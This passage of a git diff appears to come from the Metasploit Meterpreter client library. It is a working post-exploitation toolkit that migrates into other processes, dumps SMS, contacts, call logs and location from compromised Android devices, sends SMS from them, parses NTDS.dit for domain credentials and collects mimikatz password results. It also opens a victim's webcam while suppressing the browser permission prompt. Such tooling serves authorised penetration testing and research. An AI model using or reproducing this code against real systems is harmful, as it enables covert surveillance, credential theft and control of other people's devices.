writable_dir = nil) - keepalive = client.send_keepalives + def migrate(pid, writable_dir = nil, opts = {}) + keepalive = client.send_keepalives client.send_keepalives = false - process = nil - binary_suffix = nil - old_platform = client.platform - old_binary_suffix = client.binary_suffix + process = nil + binary_suffix = nil + old_platform = client.platform + old_binary_suffix = client.binary_suffix # Load in the stdapi extension if not allready present so we can determine the target pid architecture... - client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" ) + client.core.use('stdapi') if not client.ext.aliases.include?('stdapi') # Determine the architecture for the pid we are going to migrate into... client.sys.process.processes.each { | p | @@ -436,7 +452,7 @@ class ClientCore < Extension # We cant migrate into a process that does not exist. unless process - raise RuntimeError, "Cannot migrate into non existent process", caller + raise RuntimeError, 'Cannot migrate into non existent process', caller end # We cannot migrate into a process that we are unable to open @@ -449,7 +465,7 @@ class ClientCore < Extension # And we also cannot migrate into our own current process... if process['pid'] == client.sys.process.getpid - raise RuntimeError, "Cannot migrate into current process", caller + raise RuntimeError, 'Cannot migrate into current process', caller end if client.platform =~ /linux/ @@ -468,19 +484,19 @@ class ClientCore < Extension blob = generate_payload_stub(process) # Build the migration request - request = Packet.create_request( 'core_migrate' ) + request = Packet.create_request('core_migrate') if client.platform =~ /linux/i socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) if socket_path.length > UNIX_PATH_MAX - 1 - raise RuntimeError, "The writable dir is too long", caller + raise RuntimeError, 'The writable dir is too long', caller end pos = blob.index(DEFAULT_SOCK_PATH) if pos.nil? - raise RuntimeError, "The meterpreter binary is wrong", caller + raise RuntimeError, 'The meterpreter binary is wrong', caller end blob[pos, socket_path.length + 1] = socket_path + "\x00" @@ -494,14 +510,17 @@ class ClientCore < Extension request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) + if process['arch'] == ARCH_X86_64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end - # Send the migration request (bump up the timeout to 60 seconds) - client.send_request( request, 60 ) + # Send the migration request. Timeout can be specified by the caller, or set to a min + # of 60 seconds. + timeout = [(opts[:timeout] || 0), 60].max + client.send_request(request, timeout) if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents @@ -523,7 +542,7 @@ class ClientCore < Extension # keep from hanging the packet dispatcher thread, which results # in blocking the entire process. begin - Timeout.timeout(60) do + Timeout.timeout(timeout) do # Renegotiate SSL over this socket client.swap_sock_ssl_to_plain() client.swap_sock_plain_to_ssl() @@ -584,10 +603,10 @@ class ClientCore < Extension if not client.passive_service self.client.send_packet(request) else - # If this is a HTTP/HTTPS session we need to wait a few seconds - # otherwise the session may not receive the command before we - # kill the handler. This could be improved by the server side - # sending a reply to shutdown first. + # If this is a HTTP/HTTPS session we need to wait a few seconds + # otherwise the session may not receive the command before we + # kill the handler. This could be improved by the server side + # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) end true @@ -643,8 +662,14 @@ class ClientCore < Extension # do more magic work for http(s) payloads unless opts[:transport].ends_with?('tcp') - sum = uri_checksum_lookup(:connect) - url << generate_uri_uuid(sum, opts[:uuid]) + '/' + if opts[:uri] + url << '/' unless opts[:uri].start_with?('/') + url << opts[:uri] + url << '/' unless opts[:uri].end_with?('/') + else + sum = uri_checksum_lookup(:connect) + url << generate_uri_uuid(sum, opts[:uuid]) + '/' + end # TODO: randomise if not specified? opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index e36a27eb31..c6446cad3a 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -1,11 +1,11 @@ #!/usr/bin/env ruby +# # -*- coding: binary -*- require 'rex/post/meterpreter/extensions/android/tlv' require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/channels/pools/stream_pool' - module Rex module Post module Meterpreter @@ -17,9 +17,28 @@ module Android # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Android < Extension + COLLECT_TYPE_WIFI = 1 + + COLLECT_ACTION_START = 1 + COLLECT_ACTION_PAUSE = 2 + COLLECT_ACTION_RESUME = 3 + COLLECT_ACTION_STOP = 4 + COLLECT_ACTION_DUMP = 5 + + COLLECT_TYPES = { + 'wifi' => COLLECT_TYPE_WIFI + } + + COLLECT_ACTIONS = { + 'start' => COLLECT_ACTION_START, + 'pause' => COLLECT_ACTION_PAUSE, + 'resume' => COLLECT_ACTION_START, + 'stop' => COLLECT_ACTION_STOP, + 'dump' => COLLECT_ACTION_DUMP + } + def initialize(client) super(client, 'android') @@ -30,88 +49,129 @@ class Android < Extension { 'name' => 'android', 'ext' => self - }, + } ]) end - + + def collect_actions + return @@collect_action_list ||= COLLECT_ACTIONS.keys + end + + def collect_types + return @@collect_type_list ||= COLLECT_TYPES.keys + end + def device_shutdown(n) request = Packet.create_request('device_shutdown') request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n) response = client.send_request(request) - return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value - end - + response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value + end + + def interval_collect(opts) + request = Packet.create_request('interval_collect') + request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]]) + request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]]) + request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout]) + response = client.send_request(request) + + result = { + headers: [], + collections: [] + } + + case COLLECT_TYPES[opts[:type]] + when COLLECT_TYPE_WIFI + result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level'] + result[:entries] = [] + records = {} + + response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| + timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) + timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') + + g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w| + bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID) + ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID) + key = "#{bssid}-#{ssid}" + + if !records.include?(key) || records[key][0] < timestamp + # Level is passed through as positive, because UINT + # but we flip it back to negative on this side + level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL) + records[key] = [timestamp, bssid, ssid, level] + end + end + end + + records.each do |k, v| + result[:entries] << v + end + end + + result + end + def dump_sms - sms = Array.new + sms = [] request = Packet.create_request('dump_sms') response = client.send_request(request) - response.each( TLV_TYPE_SMS_GROUP ) { |p| - - sms << - { + response.each(TLV_TYPE_SMS_GROUP) do |p| + sms << { 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value), 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value), 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish, 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value) } - - } - return sms + end + sms end def dump_contacts - contacts = Array.new + contacts = [] request = Packet.create_request('dump_contacts') response = client.send_request(request) - response.each( TLV_TYPE_CONTACT_GROUP ) { |p| - - contacts << - { + response.each(TLV_TYPE_CONTACT_GROUP) do |p| + contacts << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value), 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)), 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER)) } - - } - return contacts + end + contacts end def geolocate - - loc = Array.new + loc = [] request = Packet.create_request('geolocate') response = client.send_request(request) - loc << - { + loc << { 'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value), 'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value) } - return loc + loc end def dump_calllog - log = Array.new + log = [] request = Packet.create_request('dump_calllog') response = client.send_request(request) - response.each(TLV_TYPE_CALLLOG_GROUP) { |p| - - log << - { + response.each(TLV_TYPE_CALLLOG_GROUP) do |p| + log << { 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value), 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value), 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value), 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value), 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value) } - - } - return log + end + log end def check_root @@ -119,8 +179,38 @@ class Android < Extension response = client.send_request(request) response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end -end + def send_sms(dest, body, dr) + request = Packet.create_request('send_sms') + request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest) + request.add_tlv(TLV_TYPE_SMS_BODY, body) + request.add_tlv(TLV_TYPE_SMS_DR, dr) + if dr == false + response = client.send_request(request) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + return sr + else + response = client.send_request(request, 30) + sr = response.get_tlv(TLV_TYPE_SMS_SR).value + dr = response.get_tlv(TLV_TYPE_SMS_SR).value + return [sr, dr] + end + end + + def wlan_geolocate + request = Packet.create_request('wlan_geolocate') + response = client.send_request(request, 30) + networks = [] + response.each(TLV_TYPE_WLAN_GROUP) do |p| + networks << { + 'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value), + 'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value), + 'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value) + } + end + networks + end +end end end end diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 879afbe944..55925b60cb 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -7,31 +7,52 @@ module Meterpreter module Extensions module Android -TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) -TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) -TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) -TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) -TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) -TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) +TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001) +TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002) +TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003) +TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004) +TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005) +TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006) -TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) -TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) -TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) -TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) +TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007) +TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008) +TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009) +TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010) -TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) -TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) +TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011) +TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012) -TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) -TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) -TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) -TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) -TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) -TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) +TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013) +TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014) +TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015) +TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016) +TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017) +TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018) -TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) +TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019) -TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) +TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020) + +TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021) + +TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022) +TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023) +TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024) +TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025) + +TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026) + +TLV_TYPE_COLLECT_TYPE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9050) +TLV_TYPE_COLLECT_ACTION = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9051) +TLV_TYPE_COLLECT_TIMEOUT = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9052) +TLV_TYPE_COLLECT_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9053) +TLV_TYPE_COLLECT_RESULT_TIMESTAMP = TLV_META_TYPE_QWORD | (TLV_EXTENSIONS + 9054) + +# Reuse existing IDs for these +TLV_TYPE_COLLECT_RESULT_WIFI = TLV_TYPE_WLAN_GROUP +TLV_TYPE_COLLECT_RESULT_WIFI_BSSID = TLV_TYPE_WLAN_BSSID +TLV_TYPE_COLLECT_RESULT_WIFI_SSID = TLV_TYPE_WLAN_SSID +TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL = TLV_TYPE_WLAN_LEVEL end end diff --git a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb index 31a3cd45af..ecc0852d9a 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/extapi.rb @@ -5,6 +5,7 @@ require 'rex/post/meterpreter/extensions/extapi/window/window' require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' +require 'rex/post/meterpreter/extensions/extapi/ntds/ntds' require 'rex/post/meterpreter/extensions/extapi/wmi/wmi' module Rex @@ -34,6 +35,7 @@ class Extapi < Extension 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client), + 'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client), 'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client) }) }, diff --git a/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb b/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb new file mode 100644 index 0000000000..8900434fd7 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +module Rex +module Post +module Meterpreter +module Extensions +module Extapi +module Ntds + +### +# +# This meterpreter extension contains extended API functions for +# parsing the NT Directory Service database. +# +### +class Ntds + + def initialize(client) + @client = client + end + + def parse(filepath) + request = Packet.create_request('extapi_ntds_parse') + request.add_tlv( TLV_TYPE_NTDS_PATH, filepath) + # wait up to 90 seconds for a response + response = client.send_request(request, 90) + channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) + if channel_id.nil? + raise Exception, "We did not get a channel back!" + end + Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "extapi_ntds", CHANNEL_FLAG_SYNCHRONOUS) + end + + attr_accessor :client + +end + +end; end; end; end; end; end + diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 0a96954776..99a7cf3a85 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -72,6 +72,9 @@ TLV_TYPE_EXT_ADSI_PATH_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69) TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70) +TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80) +TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81) + TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90) TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91) TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92) diff --git a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb index 3a7eeb7d86..b0865f52e4 100644 --- a/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +++ b/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb @@ -2,6 +2,7 @@ require 'rex/post/meterpreter/extensions/kiwi/tlv' require 'rexml/document' +require 'set' module Rex module Post @@ -283,9 +284,12 @@ class Kiwi < Extension request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id) response = client.send_request(request) + # keep track of unique entries + uniques = Set.new + results = [] response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r| - results << { + result = { :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME), :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN), :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD), @@ -294,6 +298,17 @@ class Kiwi < Extension :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH), :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH) } + + # generate a "unique" set identifier based on the domain/user/pass. We + # don't use the whole object because the auth hi/low might be different + # but everything else might be the same. Join with non-printable, as this + # can't appear in passwords anyway. + set_id = [result[:domain], result[:username], result[:password]].join("\x01") + + # only add to the result list if we don't already have it + if uniques.add?(set_id) + results << result + end end return results diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb index cd197ff64b..92f77b3567 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb @@ -391,13 +391,26 @@ class ProcessList < Array cols.delete_if { |c| !( first.has_key?(c.downcase) ) or first[c.downcase].nil? } opts = { - "Header" => "Process List", - "Columns" => cols + 'Header' => 'Process List', + 'Indent' => 1, + 'Columns' => cols }.merge(opts) tbl = Rex::Ui::Text::Table.new(opts) each { |process| - tbl << cols.map {|c| process[c.downcase] }.compact + tbl << cols.map { |c| + col = c.downcase + val = process[col] + if col == 'session' + val == 0xFFFFFFFF ? '' : val.to_s + elsif col == 'arch' + # for display and consistency with payload naming we switch the internal + # 'x86_64' value to display 'x64' + val == ARCH_X86_64 ? 'x64' : val + else + val + end + }.compact } tbl diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 31a5c1ef6e..0dcb281df7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -1,7 +1,5 @@ # -*- coding: binary -*- -#require 'rex/post/meterpreter/extensions/process' - module Rex module Post module Meterpreter @@ -15,7 +13,6 @@ module Webcam # ### class Webcam - include Msf::Post::Common include Msf::Post::File include Msf::Post::WebRTC @@ -31,9 +28,9 @@ class Webcam def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] - response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| + response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv| names << tlv.value - } + end names end @@ -49,11 +46,11 @@ class Webcam request = Packet.create_request('webcam_get_frame') request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) response = client.send_request(request) - response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value + response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value end def webcam_stop - client.send_request( Packet.create_request( 'webcam_stop' ) ) + client.send_request(Packet.create_request('webcam_stop')) true end @@ -67,13 +64,13 @@ class Webcam offerer_id = Rex::Text.rand_text_alphanumeric(10) channel = Rex::Text.rand_text_alphanumeric(20) - remote_browser_path = get_webrtc_browser_path + remote_browser_path = webrtc_browser_path if remote_browser_path.blank? - raise RuntimeError, "Unable to find a suitable browser on the target machine" + fail "Unable to find a suitable browser on the target machine" end - ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) + init_video_chat(remote_browser_path, server, channel, offerer_id) connect_video_chat(server, channel, offerer_id) end @@ -83,40 +80,39 @@ class Webcam request = Packet.create_request('webcam_audio_record') request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) response = client.send_request(request) - response.get_tlv( TLV_TYPE_AUDIO_DATA ).value + response.get_tlv(TLV_TYPE_AUDIO_DATA).value end attr_accessor :client - private - # # Returns a browser path that supports WebRTC # # @return [String] # - def get_webrtc_browser_path + def webrtc_browser_path found_browser_path = '' case client.platform when /win/ paths = [ - "Program Files\\Google\\Chrome\\Application\\chrome.exe", - "Program Files\\Mozilla Firefox\\firefox.exe" + "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe", + "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", + "%ProgramW6432%\\Mozilla Firefox\\firefox.exe" ] - drive = session.sys.config.getenv("SYSTEMDRIVE") - paths = paths.map { |p| "#{drive}\\#{p}" } - # Old chrome path user_profile = client.sys.config.getenv("USERPROFILE") paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe" paths.each do |browser_path| if file?(browser_path) - found_browser_path = browser_path + found_browser_path = client.fs.file.expand_path(browser_path) break end end @@ -124,7 +120,7 @@ class Webcam when /osx|bsd/ [ '/Applications/Google Chrome.app', - '/Applications/Firefox.app', + '/Applications/Firefox.app' ].each do |browser_path| if file?(browser_path) found_browser_path = browser_path @@ -140,7 +136,6 @@ class Webcam found_browser_path end - # # Creates a video chat session as an offerer... involuntarily :-p # Windows targets only. @@ -161,9 +156,9 @@ class Webcam begin write_file("#{tmp_dir}\\interface.html", interface) write_file("#{tmp_dir}\\api.js", api) - rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to initialize the interface on the target machine" + rescue RuntimeError => e + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to initialize the interface on the target machine" end # @@ -176,26 +171,29 @@ class Webcam profile_name = Rex::Text.rand_text_alpha(8) o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}") profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip - setting = %Q|user_pref("media.navigator.permission.disabled", true);| + setting = %|user_pref("media.navigator.permission.disabled", true);| begin write_file(profile_path, setting) - rescue ::Exception => e - elog("webcam_chat failed: #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to write the necessary setting for Firefox." + rescue RuntimeError => e + elog("webcam_chat failed: #{e.class} #{e}") + raise "Unable to write the necessary setting for Firefox." end args = "-p #{profile_name}" end - exec_opts = {'Hidden' => false, 'Channelized' => false} + exec_opts = { 'Hidden' => false, 'Channelized' => false } begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) - rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to start the remote browser: #{e.message}" + rescue RuntimeError => e + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to start the remote browser: #{e.message}" end end - end - -end; end; end; end; end; end +end +end +end +end +end +end diff --git a/lib/rex/post/meterpreter/ui/console.rb b/lib/rex/post/meterpreter/ui/console.rb index 3b2519d324..94ba5ceb44 100644 --- a/lib/rex/post/meterpreter/ui/console.rb +++ b/lib/rex/post/meterpreter/ui/console.rb @@ -83,6 +83,7 @@ class Console channel.extend(InteractiveChannel) unless (channel.kind_of?(InteractiveChannel) == true) channel.on_command_proc = self.on_command_proc if self.on_command_proc channel.on_print_proc = self.on_print_proc if self.on_print_proc + channel.on_log_proc = method(:log_output) if self.respond_to?(:log_output, true) channel.interact(input, output) channel.reset_ui diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index a31638bc61..8030c3329c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -1,17 +1,17 @@ # -*- coding: binary -*- require 'rex/post/meterpreter' require 'msf/core/auxiliary/report' +require 'rex/google/geolocation' +require 'date' module Rex module Post module Meterpreter module Ui - ### # Android extension - set of commands to be executed on android devices. # extension by Anwar Mohamed (@anwarelmakrahy) ### - class Console::CommandDispatcher::Android include Console::CommandDispatcher include Msf::Auxiliary::Report @@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android 'geolocate' => 'Get current lat-long using geolocation', 'dump_calllog' => 'Get call log', 'check_root' => 'Check if device is rooted', - 'device_shutdown' => 'Shutdown device' + 'device_shutdown' => 'Shutdown device', + 'send_sms' => 'Sends SMS from target session', + 'wlan_geolocate' => 'Get current lat-long using WLAN information', + 'interval_collect' => 'Manage interval collection capabilities' } reqs = { - 'dump_sms' => [ 'dump_sms' ], - 'dump_contacts' => [ 'dump_contacts' ], - 'geolocate' => [ 'geolocate' ], - 'dump_calllog' => [ 'dump_calllog' ], - 'check_root' => [ 'check_root' ], - 'device_shutdown' => [ 'device_shutdown'] + 'dump_sms' => ['dump_sms'], + 'dump_contacts' => ['dump_contacts'], + 'geolocate' => 